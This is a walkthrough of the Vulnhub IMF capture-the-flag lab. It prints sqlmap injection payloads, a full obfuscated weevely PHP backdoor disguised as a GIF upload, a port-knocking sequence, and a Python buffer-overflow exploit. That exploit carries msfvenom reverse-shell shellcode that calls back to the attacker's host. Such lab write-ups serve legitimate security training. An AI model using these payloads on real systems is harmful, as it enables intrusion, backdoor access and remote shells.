Vulnhub IMF

Enumeration

Let’s start by doing a nmap scan and see what we get.

nmap -Pn -sS -sC -vv -T 4 -p- 192.168.1.121

We did not get much but a web server on the port 80

Even nikto doesn’t have much information

Web server

Once we’re in the web page, there’s little information found in the source code
of the pages.

So let’s start by that.
There’s suspicious name file for some scripts like

<script src="js/ZmxhZzJ7YVcxbVl.js"></script>
<script src="js/XUnRhVzVwYzNS.js"></script>
<script src="js/eVlYUnZjZz09fQ==.min.js"></script>

Once you get in they seems legit, but i don’t know enough about javascript.

A little bit further there’s another comment that says
<!-- flag1{YWxsdGhlZmlsZXM=} --> It looks like base 64 because of the padding
at the end. So let’s try to decode it.

echo YWxsdGhlZmlsZXM= | base64 --decode
allthefiles

There’s an actual string inside. allthefiles… Let’s look at all the files. Like i notice before we got some weird names for
the javascript files. The string that ends by two equals signs is something very base64. So by trying to decode all the strings, i noticed that the firt one contains a word that starts by flag2.

echo "ZmxhZzJ7YVcxbVl" | base64 --decode
flag2{aW1mYbase64: invalid input

So i just added all the file names and we got something.

echo "ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ" | base64 --decode
flag2{aW1mYWRtaW5pc3RyYXRvcg==}base64: invalid input

That looks like more base64

echo "aW1mYWRtaW5pc3RyYXRvcg==" | base64 --decode
imfadministrator

Login page

So after all that we got a username ? But we don’t have an admin page.
Actually it was a page. We got a login screen. After trying all the possible
key words on the website and running through multiple fuzzlist for mysql i was
stumped. I didn’t know what i was looking for. The only thing i found was a
good username which was the email of the guy who wrote the comment on the page.

So i had to go look for a link because after a few hours i didn’t a single idea
of what i could do. So what i found was that it was linked to a function of php
called strcmp.

A quick google search show us how we can break it and it would always send
true. So that made stuff really simple…

So with burp i just had to send the right username and pass[] to break it.

So the body would like this

user=rmichaels&pass[]

We’re lead into another page with a flag

Flag3{Y29udGludWVUT2Ntcw==}

It looks like more base64. Let’s decode it

echo Y29udGludWVUT2Ntcw== | base64 --decode

continueTOcms

We’ll click in the link.

CMS

We’re in the cms that has a few different pages. We got a home, upload and
disavowed. After looking through the source codes, i look at the url and it had
the typical lfi/rfi/traversal pattern. So i tried different combination until i
end up with a mysql error. There’s a database that fetchs the names.

Let’s bring our friend sqlmap. I’ll copy the cookie from burp to attach it to sqlmap

sqlmap --cookie="security=low; PHPSESSID=33u7o68nm2611737tm228lo257" -u
http://192.168.1.121/imfadministrator/cms.php?pagename=upload

I’ll try to see if the page is vulnerable to sql injections.

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: pagename (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pagename=upload' AND 2055=2055 AND 'vkLY'='vkLY

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: pagename=upload' AND (SELECT 3848 FROM(SELECT COUNT(*),CONCAT(0x7176626b71,(SELECT (ELT(3848=3848,1))),0x716a6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'UQSX'='UQSX

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pagename=upload' AND SLEEP(5) AND 'duqF'='duqF

    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 column
    Payload: pagename=-7042' UNION ALL SELECT CONCAT(0x7176626b71,0x66524b4256484c6149767461584559444f6468537259456b7a4a7355695257526942785654546f62,0x716a6a7871)#
---

We got a few hits. Let’s bring up the tables and dump them.

sqlmap --cookie="security=low; PHPSESSID=33u7o68nm2611737tm228lo257" -u
http://192.168.1.121/imfadministrator/cms.php?pagename=upload --table --dump

This will dump the tables. If we got fetch where he output them, we see that there’s an additional page hidden.

id,pagename,pagedata
1,upload,Under Construction.
2,home,Welcome to the IMF Administration.
3,tutorials-incomplete,"Training classrooms available. <br /><img src=""./images/whiteboard.jpg""><br /> Contact us for training."
4,disavowlist,"<h1>Disavowed List</h1><img src=""./images/redacted.jpg""><br /><ul><li>*********</li><li>****** ******</li><li>*******</li><li>**** ********</li></ul><br />-Secretary"

tutorials-incomplete. Let’s append it to pagename= .

The page has an image with a qr code.
We’ll install zbar-tools and feed a cropped image that only contains the qr code.

zbarimg whiteboard.jpg
QR-Code:flag4{dXBsb2Fkcjk0Mi5waHA=}
scanned 1 barcode symbols from 1 images in 0 seconds

Another base64 flag.

echo dXBsb2Fkcjk0Mi5waHA= | base64 --decode
uploadr942.php

Another filename, this time we get an upload form.

We’ll generate a weevely backdoor and upload it.

weevely generate toor me.php

And it looks like they’re looking at the file type. Let’s rename it to me.php.jpg. We’re now getting invalid file data. Interesting.

So i tried upload an image that had the reserve shell code in the comment it
didn’t work. I tried uploading an image that had the code in base64 with eval()
and it also didn’t work. I tried a whole lot of things but nothing was working.

A friend told me to try gif and yeah… that worked.
The only thing i had to do was to add GIF in on the top of the backdoor generated by weevely. It looked llike this.

GIF
<?php
$L='K$_SE{KSSION;{K$ss="s{Kub{Kstr";$s{Kl="strtolow{Ker"{K;${Ki={K$m[1][0].$m[1][1{K];$h={K$sl($ss(m{Kd5';
$D='($i.{K$kh),0{K,3){K);$f=$sl({K$s{Ks(md5($i.$k{K{Kf),0,3));$p{K="";for{K(${Kz=1;$z<{K{Kcount($m[1]){K;';
$V='Krray("/{K","+"),{K$ss(${Ks[$i{K],0,${Ke))),$k))){K;$o={Kob_{Kget_co{Kntents({K);ob{K_end{K_clean({K)';
$y=';$d=base6{K4_en{K{Kcode(x(gzco{Kmpress($o),${Kk));{Kp{Krint("<$k>$d<{K/$k>{K");@s{Kession_{Kde{Kstroy();}}}}';
$S=str_replace('L','','cLreLateL_fuLLnctLion');
$t='t{K();@ev{Kal{K(@gzu{Kncom{Kpress(@x(@b{Kas{Ke64_de{Kco{Kde(pre{Kg_{Kreplace(array("{K/_/","/-/"),a{';
$P='$_SE{KRVER;$rr{K=@$r["HTTP{K_RE{KFERER"{K];$ra=@$r[{K"HTTP_{KA{KCCEPT_{KLANGUAGE"];if{K($rr&&{K${Kra){';
$N='K{$u=p{Karse_url(${Krr);{Kpar{Kse_str{K($u["quer{Ky{K"],$q);$q=array_v{Kalu{K{Kes($q);preg_ma{Ktch_{K';
$J='{K$kh="7b24";$k{K{Kf="afc8";fu{Kncti{Kon x($t{K,$k){$c=str{K{Klen($k);$l=s{Ktrl{Ken($t);{K$o="";f{Kor($i{K=0;$i<';
$I='${Kl;){for{K($j=0;{K($j<${Kc&&$i{K<$l{K){K;$j+{K{K{K+,$i++){$o.=$t{$i}^$k{$j};}}ret{Kurn $o{K{K;}$r={K';
$x='$z{K{K++)$p.=$q[$m[2][$z{K]];if(s{Ktrpos({K{K$p,$h)=={K{K=0){$s[$i]="";${K{Kp=$ss($p{K,3);}if(arr{Ka{Ky_';
$j='a{Kll("/([\\w]){K{K[\\w-]+(?{K:;q=0.([\\d{K]))?,{K?/",$ra,$m){K;if({K$q&{K&$m){@sessi{Ko{Kn_start(){K;$s=&{';
$B='ke{Ky_exists($i{K{K,$s)){${Ks[$i].=$p;{K$e=str{K{Kpos($s[$i],${Kf);if($e){K{$k={K$kh.$kf{K{K;ob_star';
$c=str_replace('{K','',$J.$I.$P.$N.$j.$L.$D.$x.$B.$t.$V.$y);
$z=$S('',$c);$z();
?>

Using burp, i looked at the server response and it contain the name of the file in comments.

<!-- 3eda6d5666d5 --><form id="Upload" action="" enctype="multipart/form-data"
method="post">

The only thing left was to try to find the folder where it was being uploaded.
It didn’t take too long to find uploads Then i tried connecting via weevely

weevely http://192.168.1.121/imfadministrator/uploads/3eda6d5666d5.gif toor

And we’re in.

Enumeration

So we’re in with id www-data. Not surprising. Let’s use the command :audit_filesystem to check important files.

Nothing out of the ordinary.

If you look in the uploads folder we got a file containing the word flag.

cat flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}

Another base64 encode.

echo YWdlbnRzZXJ2aWNlcw= | base64 -d
agentservicesbase64: invalid input

agentservices is the string. First thing i did was to

find / -name agent

Which lead to the folder /etc/xinetd.d/
In that folder there was an agent file with the contents

# default: on
# description: The agent server serves agent sessions
# unencrypted agentid for authentication.
service agent
{
       flags          = REUSE
       socket_type    = stream
       wait           = no
       user           = root
       server         = /usr/local/bin/agent
       log_on_failure += USERID
       disable        = no
       port           = 7788
}

So we got a file.

file /usr/local/bin/agent
/usr/local/bin/agent: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=444d1910b8b99d492e6e79fe2383fd346fc8d4c7, not stripped

If we run the strings command on the agent file we can see that we’re in the right path. There’s IMF stuff inside.

strings /usr/local/bin/agent

 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System
    Agent ID : 
    Invalid Agent ID 
    Login Validated 
    Exiting...
    Main Menu:
    1. Extraction Points
    2. Request Extraction
    3. Submit Report
    0. Exit
    Enter selection: 
    

In the same folder that was a file called access_codes

cat access_codes
SYN 7482,8279,9467

Earlier i ran a ps -aux and googled most of the service that were running. The
one that is sticking out now is knock.

ps -aux | grep knock
root       979  1.5  0.2   8752  2200 ?        Ss   19:59   0:57
/usr/sbin/knockd -d

Knock is use to hide ports and opens them if a particular order of ports are
solicitated.

So we noticed that we only had one port open when we did our first scan with
nmap, we’ll try the sequence in the access_codes file.

for x in 7482 8279 9467; do sudo nmap -sS 192.168.1.121 -p $x --max-retries
0;done

ncat -nv 192.168.1.121 -7788

  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System
      

Let’s move to the binary now.

GDB

Let’s transfer the file to our kali machine and load it up in gdb. I’m using peda script to aid me. The first i do is check the security on the file

checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

Seems good, let’s send him some input.
There’s nothing that seems to go through.
I decided to see what are the systemcalls that agent does.
I transfered a copy of agent on my local computer and ran it with strace and
ltrace. ltrace gave us what we need it.

ltrace ./agent

bc_start_main(0x80485fb, 1, 0xff9dd844, 0x8048970 <unfinished ...>
setbuf(0xf7708d60, 0)
= <void>
asprintf(0xff9dd778, 0x80489f0, 0x2ddd984, 0xf756e0ec)
= 8
puts("  ___ __  __ ___ "  ___ __  __ ___ 
)
= 18
puts(" |_ _|  \\/  | __|  Agent" |_ _|  \/  | __|  Agent
)
= 25
puts("  | || |\\/| | _|   Reporting"  | || |\/| | _|   Reporting
)                                                                           =
29
puts(" |___|_|  |_|_|    System\n" |___|_|  |_|_|    System

)                                                                             =
27
printf("\nAgent ID : "
Agent ID : )
= 12
fgets(12345
"12345\n", 9, 0xf77085a0)
= 0xff9dd77e
strncmp("12345\n", "48093572", 8)
= -1
puts("Invalid Agent ID "Invalid Agent ID 
)
= 18
+++ exited (status 254) +++

The important part is

strncmp("12345\n", "48093572", 8)

Agent tries to compare the first 8 characters that we input and sees if it matches 48093572. So if we try login in with 48093572.

  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated 
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit

More choice, let’s try fuzzing them. After trying a bunch of them the third one seem to fit what we want to do.

Using gdb-peda

pattern_create 500
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A

r

  ___ __  __ ___ 
 |_ _|  \/  | __|  Agent
  | || |\/| | _|   Reporting
 |___|_|  |_|_|    System


Agent ID : 48093572
Login Validated 
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
Enter selection: 3

Enter report update:AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6A

[----------------------------------registers-----------------------------------]
EAX: 0xffffd134 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASA4\321\377\377TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0x0 
ECX: 0xffffffff 
EDX: 0xf7fa8870 --> 0x0 
ESI: 0xf7fa7000 --> 0x1b1db0 
EDI: 0xf7fa7000 --> 0x1b1db0 
EBP: 0x41417241 ('ArAA')
ESP: 0xffffd1e0 ("AAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%"...)
EIP: 0x74414156 ('VAAt')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]

pattern offset 0x74414156
1950433622 found at offset: 168

We can see that the EIP was overwritten by VAAt, we used the command pattern
offset with the memory location to find what’s the offset.

Let’s now find a good return adress

jmpcall esp
Not found

Well that sucks. If we look at the registers we can see that EAX is pointing directly to the top of the stack.

We’ll look for for call instead

jmpcall
0x8048563 : call eax
0x804859d : call edx
0x80485f0 : call edx

We’ll take the first one. We’ll also need to create a payload with msfvenom.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.118 LPORT=1234 -f python -b "\x00\x0a\x0d"

We’ll add the return address as "\x63\x85\x04\x08\n" and the shellcode generated by msfvenom in the script. I lost like an hour trying to figure why the shell wasn’t appearing because i forgot a “\n” at the end of the buffer.

The final script would look something like this

#!/usr/bin/python
import socket

retadd = "\x63\x85\x04\x08\n"

buf =  ""  
buf += "\xdb\xd7\xb8\xe1\x78\x39\xf9\xd9\x74\x24\xf4\x5b\x31"
buf += "\xc9\xb1\x12\x83\xeb\xfc\x31\x43\x13\x03\xa2\x6b\xdb"
buf += "\x0c\x15\x57\xec\x0c\x06\x24\x40\xb9\xaa\x23\x87\x8d"
buf += "\xcc\xfe\xc8\x7d\x49\xb1\xf6\x4c\xe9\xf8\x71\xb6\x81"
buf += "\x3a\x29\x49\x27\xd3\x28\x4a\xc3\xf1\xa4\xab\x7b\x93"
buf += "\xe6\x7a\x28\xef\x04\xf4\x2f\xc2\x8b\x54\xc7\xb3\xa4"
buf += "\x2b\x7f\x24\x94\xe4\x1d\xdd\x63\x19\xb3\x4e\xfd\x3f"
buf += "\x83\x7a\x30\x3f"


buffer= buf + "A" * (168-(len(buf))) + retadd

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.121',7788))
#s.connect((ip,7788))
s.recv(1024)
s.send("48093572\n")
s.recv(1024)
s.send("3\n")
s.recv(1024)
s.send(buffer)
s.recv(1024)
s.close()

And that should be it, just setup a listener on whatever machine that is suppose to receive the reverse shell.